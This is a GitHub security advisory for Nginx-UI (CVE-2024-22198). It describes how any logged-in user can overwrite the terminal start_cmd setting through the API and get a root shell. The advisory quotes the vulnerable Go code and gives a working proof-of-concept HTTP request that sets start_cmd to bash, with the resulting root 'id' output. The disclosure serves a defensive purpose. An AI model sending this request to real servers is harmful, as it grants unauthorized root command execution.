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Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)

High severity GitHub Reviewed Published Jan 11, 2024 in 0xJacky/nginx-ui • Updated Jan 11, 2024

Package

gomod github.com/0xJacky/Nginx-UI (Go)

Affected versions

< 2.0.0.beta.9

Patched versions

2.0.0.beta.9

Description

Summary

Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

Details

The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        Server settings.Server `json:"server"`
        ...
    }

    ...

    settings.ServerSettings = json.Server

    ...

    err := settings.Save()
    ...
}

The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:

func Pty(c *gin.Context) {
	...

	p, err := pty.NewPipeLine(ws)

	...
}

The NewPipeLine function is defined as follows:

func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {
	c := exec.Command(settings.ServerSettings.StartCmd)

    ...

This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

  1. Login as a newly created user.
  2. Send the following request to modify the settings with "start_cmd":"bash" :
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 512
Authorization: <<JWT TOKEN>>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Open a terminal from the web interface and execute arbitrary commands as root:
root@1de46642d108:/app# id
uid=0(root) gid=0(root) groups=0(root)

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

References

@0xJacky 0xJacky published to 0xJacky/nginx-ui Jan 11, 2024
Published to the GitHub Advisory Database Jan 11, 2024
Reviewed Jan 11, 2024
Published by the National Vulnerability Database Jan 11, 2024
Last updated Jan 11, 2024

Severity

High
7.1
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Weaknesses

CVE ID

CVE-2024-22198

GHSA ID

GHSA-8r25-68wm-jw35

Source code

Credits

Checking history
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